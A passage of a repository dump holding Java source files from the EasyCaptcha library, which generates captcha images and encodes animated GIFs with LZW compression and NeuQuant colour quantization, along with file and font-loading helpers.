@param captcha  Captcha\n     * @param request  HttpServletRequest\n     * @param response HttpServletResponse\n     * @throws IOException IO异常\n     */\n    public static void out(Captcha captcha, HttpServletRequest request, HttpServletResponse response)\n            throws IOException {\n        setHeader(response);\n        request.getSession().setAttribute(SESSION_KEY, captcha.text().toLowerCase());\n        captcha.out(response.getOutputStream());\n    }\n\n    /**\n     * 验证验证码\n     *\n     * @param code    用户输入的验证码\n     * @param request HttpServletRequest\n     * @return 是否正确\n     */\n    public static boolean ver(String code, HttpServletRequest request) {\n        if (code != null) {\n            String captcha = (String) request.getSession().getAttribute(SESSION_KEY);\n            return code.trim().toLowerCase().equals(captcha);\n        }\n        return false;\n    }\n\n    /**\n     * 清除session中的验证码\n     *\n     * @param request HttpServletRequest\n     */\n    public static void clear(HttpServletRequest request) {\n        request.getSession().removeAttribute(SESSION_KEY);\n    }\n\n    /**\n     * 设置相应头\n     *\n     * @param response HttpServletResponse\n     */\n    public static void setHeader(HttpServletResponse response) {\n        response.setContentType(\"image/gif\");\n        response.setHeader(\"Pragma\", \"No-cache\");\n        response.setHeader(\"Cache-Control\", \"no-cache\");\n        response.setDateHeader(\"Expires\", 0);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/utils/Encoder.java",
    "content": "package com.wf.captcha.utils;\n\nimport java.io.IOException;\nimport java.io.OutputStream;\n\n/**\n *\n */\npublic class Encoder {\n    private static final int EOF = -1;\n    // 图片的宽高\n    private int imgW, imgH;\n    private byte[] pixAry;\n    private int initCodeSize;  // 验证码位数\n    private int remaining;  // 剩余数量\n    private int curPixel;  // 像素\n\n    static final int BITS = 12;\n\n    static final int HSIZE = 5003; // 80% 占用率\n\n    int n_bits; // number of bits/code\n    int maxbits = BITS; // user settable max # bits/code\n    int maxcode; // maximum code, given n_bits\n    int maxmaxcode = 1 << BITS; // should NEVER generate this code\n\n    int[] htab = new int[HSIZE];\n    int[] codetab = new int[HSIZE];\n\n    int hsize = HSIZE; // for dynamic table sizing\n\n    int free_ent = 0; // first unused entry\n\n    // block compression parameters -- after all codes are used up,\n    // and compression rate changes, start over.\n    boolean clear_flg = false;\n\n    // Algorithm:  use open addressing double hashing (no chaining) on the\n    // prefix code / next character combination.  We do a variant of Knuth's\n    // algorithm D (vol. 3, sec. 6.4) along with G. Knott's relatively-prime\n    // secondary probe.  Here, the modular division first probe is gives way\n    // to a faster exclusive-or manipulation.  Also do block compression with\n    // an adaptive reset, whereby the code table is cleared when the compression\n    // ratio decreases, but after the table fills.  The variable-length output\n    // codes are re-sized at this point, and a special CLEAR code is generated\n    // for the decompressor.  Late addition:  construct the table according to\n    // file size for noticeable speed improvement on small files.  Please direct\n    // questions about this implementation to ames!jaw.\n\n    int g_init_bits;\n\n    int ClearCode;\n    int EOFCode;\n\n    // output\n    //\n    // Output the given code.\n    // Inputs:\n    //      code:   A n_bits-bit integer.  If == -1, then EOF.  This assumes\n    //              that n_bits =< wordsize - 1.\n    // Outputs:\n    //      Outputs code to the file.\n    // Assumptions:\n    //      Chars are 8 bits long.\n    // Algorithm:\n    //      Maintain a BITS character long buffer (so that 8 codes will\n    // fit in it exactly).  Use the VAX insv instruction to insert each\n    // code in turn.  When the buffer fills up empty it and start over.\n\n    int cur_accum = 0;\n    int cur_bits = 0;\n\n    int masks[] =\n            {\n                    0x0000,\n                    0x0001,\n                    0x0003,\n                    0x0007,\n                    0x000F,\n                    0x001F,\n                    0x003F,\n                    0x007F,\n                    0x00FF,\n                    0x01FF,\n                    0x03FF,\n                    0x07FF,\n                    0x0FFF,\n                    0x1FFF,\n                    0x3FFF,\n                    0x7FFF,\n                    0xFFFF};\n\n    // Number of characters so far in this 'packet'\n    int a_count;\n\n    // Define the storage for the packet accumulator\n    byte[] accum = new byte[256];\n\n    //----------------------------------------------------------------------------\n\n    /**\n     * @param width       宽度\n     * @param height      高度\n     * @param pixels      像素\n     * @param color_depth 颜色\n     */\n    Encoder(int width, int height, byte[] pixels, int color_depth) {\n        imgW = width;\n        imgH = height;\n        pixAry = pixels;\n        initCodeSize = Math.max(2, color_depth);\n    }\n\n    // Add a character to the end of the current packet, and if it is 254\n    // characters, flush the packet to disk.\n\n    /**\n     * @param c    字节\n     * @param outs 输出流\n     * @throws IOException IO异常\n     */\n    void char_out(byte c, OutputStream outs) throws IOException {\n        accum[a_count++] = c;\n        if (a_count >= 254)\n            flush_char(outs);\n    }\n\n    // Clear out the hash table\n\n    // table clear for block compress\n\n    /**\n     * @param outs 输出流\n     * @throws IOException IO异常\n     */\n    void cl_block(OutputStream outs) throws IOException {\n        cl_hash(hsize);\n        free_ent = ClearCode + 2;\n        clear_flg = true;\n\n        output(ClearCode, outs);\n    }\n\n    // reset code table\n\n    /**\n     * @param hsize int\n     */\n    void cl_hash(int hsize) {\n        for (int i = 0; i < hsize; ++i)\n            htab[i] = -1;\n    }\n\n    /**\n     * @param init_bits int\n     * @param outs      输出流\n     * @throws IOException IO异常\n     */\n    void compress(int init_bits, OutputStream outs) throws IOException {\n        int fcode;\n        int i /* = 0 */;\n        int c;\n        int ent;\n        int disp;\n        int hsize_reg;\n        int hshift;\n\n        // Set up the globals:  g_init_bits - initial number of bits\n        g_init_bits = init_bits;\n\n        // Set up the necessary values\n        clear_flg = false;\n        n_bits = g_init_bits;\n        maxcode = MAXCODE(n_bits);\n\n        ClearCode = 1 << (init_bits - 1);\n        EOFCode = ClearCode + 1;\n        free_ent = ClearCode + 2;\n\n        a_count = 0; // clear packet\n\n        ent = nextPixel();\n\n        hshift = 0;\n        for (fcode = hsize; fcode < 65536; fcode *= 2)\n            ++hshift;\n        hshift = 8 - hshift; // set hash code range bound\n\n        hsize_reg = hsize;\n        cl_hash(hsize_reg); // clear hash table\n\n        output(ClearCode, outs);\n\n        outer_loop:\n        while ((c = nextPixel()) != EOF) {\n            fcode = (c << maxbits) + ent;\n            i = (c << hshift) ^ ent; // xor hashing\n\n            if (htab[i] == fcode) {\n                ent = codetab[i];\n                continue;\n            } else if (htab[i] >= 0) // non-empty slot\n            {\n                disp = hsize_reg - i; // secondary hash (after G. Knott)\n                if (i == 0)\n                    disp = 1;\n                do {\n                    if ((i -= disp) < 0)\n                        i += hsize_reg;\n\n                    if (htab[i] == fcode) {\n                        ent = codetab[i];\n                        continue outer_loop;\n                    }\n                } while (htab[i] >= 0);\n            }\n            output(ent, outs);\n            ent = c;\n            if (free_ent < maxmaxcode) {\n                codetab[i] = free_ent++; // code -> hashtable\n                htab[i] = fcode;\n            } else\n                cl_block(outs);\n        }\n        // Put out the final code.\n        output(ent, outs);\n        output(EOFCode, outs);\n    }\n\n    //----------------------------------------------------------------------------\n\n    /**\n     * @param os 输出流\n     * @throws IOException IO异常\n     */\n    void encode(OutputStream os) throws IOException {\n        os.write(initCodeSize); // write \"initial code size\" byte\n\n        remaining = imgW * imgH; // reset navigation variables\n        curPixel = 0;\n\n        compress(initCodeSize + 1, os); // compress and write the pixel data\n\n        os.write(0); // write block terminator\n    }\n\n    // Flush the packet to disk, and reset the accumulator\n\n    /**\n     * @param outs 输出流\n     * @throws IOException IO异常\n     */\n    void flush_char(OutputStream outs) throws IOException {\n        if (a_count > 0) {\n            outs.write(a_count);\n            outs.write(accum, 0, a_count);\n            a_count = 0;\n        }\n    }\n\n    /**\n     * @param n_bits int\n     * @return int\n     */\n    final int MAXCODE(int n_bits) {\n        return (1 << n_bits) - 1;\n    }\n\n    //----------------------------------------------------------------------------\n    // Return the next pixel from the image\n    //----------------------------------------------------------------------------\n\n    /**\n     * @return int\n     */\n    private int nextPixel() {\n        if (remaining == 0)\n            return EOF;\n\n        --remaining;\n\n        byte pix = pixAry[curPixel++];\n\n        return pix & 0xff;\n    }\n\n    /**\n     * @param code int\n     * @param outs 输出流\n     * @throws IOException IO异常\n     */\n    void output(int code, OutputStream outs) throws IOException {\n        cur_accum &= masks[cur_bits];\n\n        if (cur_bits > 0)\n            cur_accum |= (code << cur_bits);\n        else\n            cur_accum = code;\n\n        cur_bits += n_bits;\n\n        while (cur_bits >= 8) {\n            char_out((byte) (cur_accum & 0xff), outs);\n            cur_accum >>= 8;\n            cur_bits -= 8;\n        }\n\n        // If the next entry is going to be too big for the code size,\n        // then increase it, if possible.\n        if (free_ent > maxcode || clear_flg) {\n            if (clear_flg) {\n                maxcode = MAXCODE(n_bits = g_init_bits);\n                clear_flg = false;\n            } else {\n                ++n_bits;\n                if (n_bits == maxbits)\n                    maxcode = maxmaxcode;\n                else\n                    maxcode = MAXCODE(n_bits);\n            }\n        }\n\n        if (code == EOFCode) {\n            // At EOF, write the rest of the buffer.\n            while (cur_bits > 0) {\n                char_out((byte) (cur_accum & 0xff), outs);\n                cur_accum >>= 8;\n                cur_bits -= 8;\n            }\n\n            flush_char(outs);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/utils/FileUtil.java",
    "content": "package com.wf.captcha.utils;\n\nimport java.io.*;\nimport java.util.Objects;\n\n/**\n * 文件操作工具类，此类源码从org.apache.commons.io.FileUtils中复制\n *\n * @author zrh 455741807@qq.com\n * @date 2022-05-07\n */\npublic class FileUtil {\n    public static final int DEFAULT_BUFFER_SIZE = 8192;\n    public static final int EOF = -1;\n\n    /**\n     * 文件流复制\n     * @param inputStream\n     * @param file\n     * @throws IOException\n     */\n    public static void copyToFile(final InputStream inputStream, final File file) throws IOException {\n        try (OutputStream out = openOutputStream(file)) {\n            copy(inputStream, out);\n        }\n    }\n\n    public static FileOutputStream openOutputStream(final File file) throws IOException {\n        return openOutputStream(file, false);\n    }\n\n    public static FileOutputStream openOutputStream(final File file, final boolean append) throws IOException {\n        Objects.requireNonNull(file, \"file\");\n        if (file.exists()) {\n            requireFile(file, \"file\");\n            requireCanWrite(file, \"file\");\n        } else {\n            createParentDirectories(file);\n        }\n        return new FileOutputStream(file, append);\n    }\n\n    private static File requireFile(final File file, final String name) {\n        Objects.requireNonNull(file, name);\n        if (!file.isFile()) {\n            throw new IllegalArgumentException(\"Parameter '\" + name + \"' is not a file: \" + file);\n        }\n        return file;\n    }\n\n    private static void requireCanWrite(final File file, final String name) {\n        Objects.requireNonNull(file, \"file\");\n        if (!file.canWrite()) {\n            throw new IllegalArgumentException(\"File parameter '\" + name + \" is not writable: '\" + file + \"'\");\n        }\n    }\n\n    public static File createParentDirectories(final File file) throws IOException {\n        return mkdirs(getParentFile(file));\n    }\n\n    private static File mkdirs(final File directory) throws IOException {\n        if ((directory != null) && (!directory.mkdirs() && !directory.isDirectory())) {\n            throw new IOException(\"Cannot create directory '\" + directory + \"'.\");\n        }\n        return directory;\n    }\n\n    private static File getParentFile(final File file) {\n        return file == null ? null : file.getParentFile();\n    }\n\n    public static int copy(final InputStream inputStream, final OutputStream outputStream) throws IOException {\n        final long count = copyLarge(inputStream, outputStream);\n        if (count > Integer.MAX_VALUE) {\n            return EOF;\n        }\n        return (int) count;\n    }\n\n    public static long copyLarge(final InputStream inputStream, final OutputStream outputStream)\n            throws IOException {\n        return copy(inputStream, outputStream, DEFAULT_BUFFER_SIZE);\n    }\n\n    public static long copy(final InputStream inputStream, final OutputStream outputStream, final int bufferSize)\n            throws IOException {\n        return copyLarge(inputStream, outputStream, byteArray(bufferSize));\n    }\n\n    public static long copyLarge(final InputStream inputStream, final OutputStream outputStream, final byte[] buffer)\n            throws IOException {\n        Objects.requireNonNull(inputStream, \"inputStream\");\n        Objects.requireNonNull(outputStream, \"outputStream\");\n        long count = 0;\n        int n;\n        while (EOF != (n = inputStream.read(buffer))) {\n            outputStream.write(buffer, 0, n);\n            count += n;\n        }\n        return count;\n    }\n\n    public static byte[] byteArray(final int size) {\n        return new byte[size];\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/utils/FontsUtil.java",
    "content": "package com.wf.captcha.utils;\n\nimport sun.security.action.GetPropertyAction;\n\nimport java.awt.*;\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\n\nimport static java.security.AccessController.doPrivileged;\n\n/**\n * 解决自定义字体读取时，产生.tmp临时文件耗磁盘的问题。\n *\n * 解决思路:\n * Font类的createFont有个重载方法–>java.awt.Font#createFont(int, java.io.File),\n * 不产生临时文件获取字体代码实现\n * <code>\n *  URL url = FontLoader.class.getResource(\"font/SourceHanSansCN-Regular.otf\");\n *  String pathString = url.getFile();\n *  Font selfFont = Font.createFont(Font.TRUETYPE_FONT, new File(pathString));\n * </code>\n * 上面的解决方案会导致另一个问题，字体文件在生产环境是在jar包里，部分操作系统环境下，直接读取读取不到，只能通过流的方式获取。\n *\n * 因此，本方案采用的办法是把jar包中的字体文件复制到java.io.tmpdir临时文件夹中\n * ，再采用<code>java.awt.Font#createFont(int, java.io.File)</code>的方式产生字体，既解决了临时文件tmp消耗磁盘的问题，也解决了\n * 部分操作系统下读不到文件的问题。\n *\n * @author zrh 455741807@qq.com\n * @date 2022-05-07\n *\n */\npublic class FontsUtil {\n    private static final Path tmpdir = \tPaths.get(doPrivileged(new GetPropertyAction(\"java.io.tmpdir\")));\n\n    /**\n     * 手动复制字体文件到临时目录. 调用传文件的构造方法创建字体\n     * @param fontName 字体文件名称\n     * @return\n     */\n    public static Font getFont(String fontName, int style, float size) {\n        Font font = null;\n\n        File tempFontFile = new File(tmpdir.toUri().getPath() + fontName);\n        if(!tempFontFile.exists()){\n            //临时文件不存在\n            copyTempFontFile(fontName, tempFontFile);\n        }\n        if(tempFontFile.exists()) {\n            try {\n                font = Font.createFont(Font.TRUETYPE_FONT, tempFontFile).deriveFont(style, size);;\n            } catch (FontFormatException | IOException e) {\n                e.printStackTrace();\n                tempFontFile.delete();\n            }\n        }\n        return font;\n    }\n\n    /**\n     * 复制字体文件到临时文件目录\n     * @param fontName\n     * @param tempFontFile\n     */\n    private static synchronized void copyTempFontFile(String fontName, File tempFontFile){\n        try(InputStream is = FontsUtil.class.getResourceAsStream(\"/\" + fontName)){\n            FileUtil.copyToFile(is, tempFontFile);\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/utils/GifEncoder.java",
    "content": "package com.wf.captcha.utils;\n\nimport java.awt.*;\nimport java.awt.image.BufferedImage;\nimport java.awt.image.DataBufferByte;\nimport java.io.BufferedOutputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\n/**\n * Gif生成工具\n * Class AnimatedGifEncoder - Encodes a GIF file consisting of one or\n * more frames.\n * <pre>\n * Example:\n *    AnimatedGifEncoder e = new AnimatedGifEncoder();\n *    e.start(outputFileName);\n *    e.setDelay(1000);   // 1 frame per sec\n *    e.addFrame(image1);\n *    e.addFrame(image2);\n *    e.finish();\n * </pre>\n * No copyright asserted on the source code of this class.  May be used\n * for any purpose, however, refer to the Unisys LZW patent for restrictions\n * on use of the associated Encoder class.  Please forward any corrections\n * to questions at fmsware.com.\n */\npublic class GifEncoder {\n    protected int width; // image size\n    protected int height;\n    protected Color transparent = null; // transparent color if given\n    protected int transIndex; // transparent index in color table\n    protected int repeat = -1; // no repeat\n    protected int delay = 0; // frame delay (hundredths)\n    protected boolean started = false; // ready to output frames\n    protected OutputStream out;\n    protected BufferedImage image; // current frame\n    protected byte[] pixels; // BGR byte array from frame\n    protected byte[] indexedPixels; // converted frame indexed to palette\n    protected int colorDepth; // number of bit planes\n    protected byte[] colorTab; // RGB palette\n    protected boolean[] usedEntry = new boolean[256]; // active palette entries\n    protected int palSize = 7; // color table size (bits-1)\n    protected int dispose = -1; // disposal code (-1 = use default)\n    protected boolean closeStream = false; // close stream when finished\n    protected boolean firstFrame = true;\n    protected boolean sizeSet = false; // if false, get size from first frame\n    protected int sample = 10; // default sample interval for quantizer\n\n    /**\n     * Sets the delay time between each frame, or changes it\n     * for subsequent frames (applies to last frame added).\n     *\n     * @param ms int delay time in milliseconds\n     */\n    public void setDelay(int ms) {\n        delay = Math.round(ms / 10.0f);\n    }\n\n    /**\n     * Sets the GIF frame disposal code for the last added frame\n     * and any subsequent frames.  Default is 0 if no transparent\n     * color has been set, otherwise 2.\n     *\n     * @param code int disposal code.\n     */\n    public void setDispose(int code) {\n        if (code >= 0) {\n            dispose = code;\n        }\n    }\n\n    /**\n     * Sets the number of times the set of GIF frames\n     * should be played.  Default is 1; 0 means play\n     * indefinitely.  Must be invoked before the first\n     * image is added.\n     *\n     * @param iter int number of iterations.\n     */\n    public void setRepeat(int iter) {\n        if (iter >= 0) {\n            repeat = iter;\n        }\n    }\n\n    /**\n     * Sets the transparent color for the last added frame\n     * and any subsequent frames.\n     * Since all colors are subject to modification\n     * in the quantization process, the color in the final\n     * palette for each frame closest to the given color\n     * becomes the transparent color for that frame.\n     * May be set to null to indicate no transparent color.\n     *\n     * @param c Color to be treated as transparent on display.\n     */\n    public void setTransparent(Color c) {\n        transparent = c;\n    }\n\n    /**\n     * Adds next GIF frame.  The frame is not written immediately, but is\n     * actually deferred until the next frame is received so that timing\n     * data can be inserted.  Invoking <code>finish()</code> flushes all\n     * frames.  If <code>setSize</code> was not invoked, the size of the\n     * first image is used for all subsequent frames.\n     *\n     * @param im BufferedImage containing frame to write.\n     * @return true if successful.\n     */\n    public boolean addFrame(BufferedImage im) {\n        if ((im == null) || !started) {\n            return false;\n        }\n        boolean ok = true;\n        try {\n            if (!sizeSet) {\n                // use first frame's size\n                setSize(im.getWidth(), im.getHeight());\n            }\n            image = im;\n            getImagePixels(); // convert to correct format if necessary\n            analyzePixels(); // build color table & map pixels\n            if (firstFrame) {\n                writeLSD(); // logical screen descriptior\n                writePalette(); // global color table\n                if (repeat >= 0) {\n                    // use NS app extension to indicate reps\n                    writeNetscapeExt();\n                }\n            }\n            writeGraphicCtrlExt(); // write graphic control extension\n            writeImageDesc(); // image descriptor\n            if (!firstFrame) {\n                writePalette(); // local color table\n            }\n            writePixels(); // encode and write pixel data\n            firstFrame = false;\n        } catch (IOException e) {\n            ok = false;\n        }\n\n        return ok;\n    }\n\n    //added by alvaro\n    public boolean outFlush() {\n        boolean ok = true;\n        try {\n            out.flush();\n            return ok;\n        } catch (IOException e) {\n            ok = false;\n        }\n\n        return ok;\n    }\n\n    public byte[] getFrameByteArray() {\n        return ((ByteArrayOutputStream) out).toByteArray();\n    }\n\n    /**\n     * Flushes any pending data and closes output file.\n     * If writing to an OutputStream, the stream is not\n     * closed.\n     *\n     * @return boolean\n     */\n    public boolean finish() {\n        if (!started) return false;\n        boolean ok = true;\n        started = false;\n        try {\n            out.write(0x3b); // gif trailer\n            out.flush();\n            if (closeStream) {\n                out.close();\n            }\n        } catch (IOException e) {\n            ok = false;\n        }\n\n        return ok;\n    }\n\n    public void reset() {\n        // reset for subsequent use\n        transIndex = 0;\n        out = null;\n        image = null;\n        pixels = null;\n        indexedPixels = null;\n        colorTab = null;\n        closeStream = false;\n        firstFrame = true;\n    }\n\n    /**\n     * Sets frame rate in frames per second.  Equivalent to\n     * <code>setDelay(1000/fps)</code>.\n     *\n     * @param fps float frame rate (frames per second)\n     */\n    public void setFrameRate(float fps) {\n        if (fps != 0f) {\n            delay = Math.round(100f / fps);\n        }\n    }\n\n    /**\n     * Sets quality of color quantization (conversion of images\n     * to the maximum 256 colors allowed by the GIF specification).\n     * Lower values (minimum = 1) produce better colors, but slow\n     * processing significantly.  10 is the default, and produces\n     * good color mapping at reasonable speeds.  Values greater\n     * than 20 do not yield significant improvements in speed.\n     *\n     * @param quality int greater than 0.\n     */\n    public void setQuality(int quality) {\n        if (quality < 1) quality = 1;\n        sample = quality;\n    }\n\n    /**\n     * Sets the GIF frame size.  The default size is the\n     * size of the first frame added if this method is\n     * not invoked.\n     *\n     * @param w int frame width.\n     * @param h int frame width.\n     */\n    public void setSize(int w, int h) {\n        if (started && !firstFrame) return;\n        width = w;\n        height = h;\n        if (width < 1) width = 320;\n        if (height < 1) height = 240;\n        sizeSet = true;\n    }\n\n    /**\n     * Initiates GIF file creation on the given stream.  The stream\n     * is not closed automatically.\n     *\n     * @param os OutputStream on which GIF images are written.\n     * @return false if initial write failed.\n     */\n    public boolean start(OutputStream os) {\n        if (os == null) return false;\n        boolean ok = true;\n        closeStream = false;\n        out = os;\n        try {\n            writeString(\"GIF89a\"); // header\n        } catch (IOException e) {\n            ok = false;\n        }\n        return started = ok;\n    }\n\n    /**\n     * Initiates writing of a GIF file with the specified name.\n     *\n     * @param file String containing output file name.\n     * @return false if open or initial write failed.\n     */\n    public boolean start(String file) {\n        boolean ok = true;\n        try {\n            out = new BufferedOutputStream(new FileOutputStream(file));\n            ok = start(out);\n            closeStream = true;\n        } catch (IOException e) {\n            ok = false;\n        }\n        return started = ok;\n    }\n\n    /**\n     * Analyzes image colors and creates color map.\n     */\n    protected void analyzePixels() {\n        int len = pixels.length;\n        int nPix = len / 3;\n        indexedPixels = new byte[nPix];\n        Quant nq = new Quant(pixels, len, sample);\n        // initialize quantizer\n        colorTab = nq.process(); // create reduced palette\n        // convert map from BGR to RGB\n        for (int i = 0; i < colorTab.length; i += 3) {\n            byte temp = colorTab[i];\n            colorTab[i] = colorTab[i + 2];\n            colorTab[i + 2] = temp;\n            usedEntry[i / 3] = false;\n        }\n        // map image pixels to new palette\n        int k = 0;\n        for (int i = 0; i < nPix; i++) {\n            int index =\n                    nq.map(pixels[k++] & 0xff,\n                            pixels[k++] & 0xff,\n                            pixels[k++] & 0xff);\n            usedEntry[index] = true;\n            indexedPixels[i] = (byte) index;\n        }\n        pixels = null;\n        colorDepth = 8;\n        palSize = 7;\n        // get closest match to transparent color if specified\n        if (transparent != null) {\n            transIndex = findClosest(transparent);\n        }\n    }\n\n    /**\n     * Returns index of palette color closest to c\n     *\n     * @param c color\n     * @return int\n     */\n    protected int findClosest(Color c) {\n        if (colorTab == null) return -1;\n        int r = c.getRed();\n        int g = c.getGreen();\n        int b = c.getBlue();\n        int minpos = 0;\n        int dmin = 256 * 256 * 256;\n        int len = colorTab.length;\n        for (int i = 0; i < len; ) {\n            int dr = r - (colorTab[i++] & 0xff);\n            int dg = g - (colorTab[i++] & 0xff);\n            int db = b - (colorTab[i] & 0xff);\n            int d = dr * dr + dg * dg + db * db;\n            int index = i / 3;\n            if (usedEntry[index] && (d < dmin)) {\n                dmin = d;\n                minpos = index;\n            }\n            i++;\n        }\n        return minpos;\n    }\n\n    /**\n     * Extracts image pixels into byte array \"pixels\"\n     */\n    protected void getImagePixels() {\n        int w = image.getWidth();\n        int h = image.getHeight();\n        int type = image.getType();\n        if ((w != width)\n                || (h != height)\n                || (type != BufferedImage.TYPE_3BYTE_BGR)) {\n            // create new image with right size/format\n            BufferedImage temp =\n                    new BufferedImage(width, height, BufferedImage.TYPE_3BYTE_BGR);\n            Graphics2D g = temp.createGraphics();\n            g.drawImage(image, 0, 0, null);\n            image = temp;\n        }\n        pixels = ((DataBufferByte) image.getRaster().getDataBuffer()).getData();\n    }\n\n    /**\n     * Writes Graphic Control Extension\n     *\n     * @throws IOException IO异常\n     */\n    protected void writeGraphicCtrlExt() throws IOException {\n        out.write(0x21); // extension introducer\n        out.write(0xf9); // GCE label\n        out.write(4); // data block size\n        int transp, disp;\n        if (transparent == null) {\n            transp = 0;\n            disp = 0; // dispose = no action\n        } else {\n            transp = 1;\n            disp = 2; // force clear if using transparent color\n        }\n        if (dispose >= 0) {\n            disp = dispose & 7; // user override\n        }\n        disp <<= 2;\n\n        // packed fields\n        out.write(0 | // 1:3 reserved\n                disp | // 4:6 disposal\n                0 | // 7   user input - 0 = none\n                transp); // 8   transparency flag\n\n        writeShort(delay); // delay x 1/100 sec\n        out.write(transIndex); // transparent color index\n        out.write(0); // block terminator\n    }\n\n    /**\n     * Writes Image Descriptor\n     *\n     * @throws IOException IO异常\n     */\n    protected void writeImageDesc() throws IOException {\n        out.write(0x2c); // image separator\n        writeShort(0); // image position x,y = 0,0\n        writeShort(0);\n        writeShort(width); // image size\n        writeShort(height);\n        // packed fields\n        if (firstFrame) {\n            // no LCT  - GCT is used for first (or only) frame\n            out.write(0);\n        } else {\n            // specify normal LCT\n            out.write(0x80 | // 1 local color table  1=yes\n                    0 | // 2 interlace - 0=no\n                    0 | // 3 sorted - 0=no\n                    0 | // 4-5 reserved\n                    palSize); // 6-8 size of color table\n        }\n    }\n\n    /**\n     * Writes Logical Screen Descriptor\n     *\n     * @throws IOException IO异常\n     */\n    protected void writeLSD() throws IOException {\n        // logical screen size\n        writeShort(width);\n        writeShort(height);\n        // packed fields\n        out.write((0x80 | // 1   : global color table flag = 1 (gct used)\n                0x70 | // 2-4 : color resolution = 7\n                0x00 | // 5   : gct sort flag = 0\n                palSize)); // 6-8 : gct size\n\n        out.write(0); // background color index\n        out.write(0); // pixel aspect ratio - assume 1:1\n    }\n\n    /**\n     * Writes Netscape application extension to define\n     * repeat count.\n     *\n     * @throws IOException IO异常\n     */\n    protected void writeNetscapeExt() throws IOException {\n        out.write(0x21); // extension introducer\n        out.write(0xff); // app extension label\n        out.write(11); // block size\n        writeString(\"NETSCAPE\" + \"2.0\"); // app id + auth code\n        out.write(3); // sub-block size\n        out.write(1); // loop sub-block id\n        writeShort(repeat); // loop count (extra iterations, 0=repeat forever)\n        out.write(0); // block terminator\n    }\n\n    /**\n     * Writes color table\n     *\n     * @throws IOException IO异常\n     */\n    protected void writePalette() throws IOException {\n        out.write(colorTab, 0, colorTab.length);\n        int n = (3 * 256) - colorTab.length;\n        for (int i = 0; i < n; i++) {\n            out.write(0);\n        }\n    }\n\n    /**\n     * Encodes and writes pixel data\n     *\n     * @throws IOException IO异常\n     */\n    protected void writePixels() throws IOException {\n        Encoder encoder = new Encoder(width, height, indexedPixels, colorDepth);\n        encoder.encode(out);\n    }\n\n    /**\n     * Write 16-bit value to output stream, LSB first\n     *\n     * @param value int\n     * @throws IOException IO异常\n     */\n    protected void writeShort(int value) throws IOException {\n        out.write(value & 0xff);\n        out.write((value >> 8) & 0xff);\n    }\n\n    /**\n     * Writes string to output stream\n     *\n     * @param s string\n     * @throws IOException IO异常\n     */\n    protected void writeString(String s) throws IOException {\n        for (int i = 0; i < s.length(); i++) {\n            out.write((byte) s.charAt(i));\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/utils/Quant.java",
    "content": "package com.wf.captcha.utils;\n\n/**\n *\n */\npublic class Quant {\n    protected static final int netsize = 256; /* number of colours used */\n\n    /* four primes near 500 - assume no image has a length so large */\n    /* that it is divisible by all four primes */\n    protected static final int prime1 = 499;\n    protected static final int prime2 = 491;\n    protected static final int prime3 = 487;\n    protected static final int prime4 = 503;\n\n    protected static final int minpicturebytes = (3 * prime4);\n    /* minimum size for input image */\n\n\t/* Program Skeleton\n\t   ----------------\n\t   [select samplefac in range 1..30]\n\t   [read image from input file]\n\t   pic = (unsigned char*) malloc(3*width*height);\n\t   initnet(pic,3*width*height,samplefac);\n\t   learn();\n\t   unbiasnet();\n\t   [write output image header, using writecolourmap(f)]\n\t   inxbuild();\n\t   write output image using inxsearch(b,g,r)      */\n\n\t/* Network Definitions\n\t   ------------------- */\n\n    protected static final int maxnetpos = (netsize - 1);\n    protected static final int netbiasshift = 4; /* bias for colour values */\n    protected static final int ncycles = 100; /* no. of learning cycles */\n\n    /* defs for freq and bias */\n    protected static final int intbiasshift = 16; /* bias for fractions */\n    protected static final int intbias = (((int) 1) << intbiasshift);\n    protected static final int gammashift = 10; /* gamma = 1024 */\n    protected static final int gamma = (((int) 1) << gammashift);\n    protected static final int betashift = 10;\n    protected static final int beta = (intbias >> betashift); /* beta = 1/1024 */\n    protected static final int betagamma =\n            (intbias << (gammashift - betashift));\n\n    /* defs for decreasing radius factor */\n    protected static final int initrad = (netsize >> 3); /* for 256 cols, radius starts */\n    protected static final int radiusbiasshift = 6; /* at 32.0 biased by 6 bits */\n    protected static final int radiusbias = (((int) 1) << radiusbiasshift);\n    protected static final int initradius = (initrad * radiusbias); /* and decreases by a */\n    protected static final int radiusdec = 30; /* factor of 1/30 each cycle */\n\n    /* defs for decreasing alpha factor */\n    protected static final int alphabiasshift = 10; /* alpha starts at 1.0 */\n    protected static final int initalpha = (((int) 1) << alphabiasshift);\n\n    protected int alphadec; /* biased by 10 bits */\n\n    /* radbias and alpharadbias used for radpower calculation */\n    protected static final int radbiasshift = 8;\n    protected static final int radbias = (((int) 1) << radbiasshift);\n    protected static final int alpharadbshift = (alphabiasshift + radbiasshift);\n    protected static final int alpharadbias = (((int) 1) << alpharadbshift);\n\n\t/* Types and Global Variables\n\t-------------------------- */\n\n    protected byte[] thepicture; /* the input image itself */\n    protected int lengthcount; /* lengthcount = H*W*3 */\n\n    protected int samplefac; /* sampling factor 1..30 */\n\n    //   typedef int pixel[4];                /* BGRc */\n    protected int[][] network; /* the network itself - [netsize][4] */\n\n    protected int[] netindex = new int[256];\n    /* for network lookup - really 256 */\n\n    protected int[] bias = new int[netsize];\n    /* bias and freq arrays for learning */\n    protected int[] freq = new int[netsize];\n    protected int[] radpower = new int[initrad];\n    /* radpower for precomputation */\n\n    /* Initialise network in range (0,0,0) to (255,255,255) and set parameters\n       ----------------------------------------------------------------------- */\n    public Quant(byte[] thepic, int len, int sample) {\n\n        int i;\n        int[] p;\n\n        thepicture = thepic;\n        lengthcount = len;\n        samplefac = sample;\n\n        network = new int[netsize][];\n        for (i = 0; i < netsize; i++) {\n            network[i] = new int[4];\n            p = network[i];\n            p[0] = p[1] = p[2] = (i << (netbiasshift + 8)) / netsize;\n            freq[i] = intbias / netsize; /* 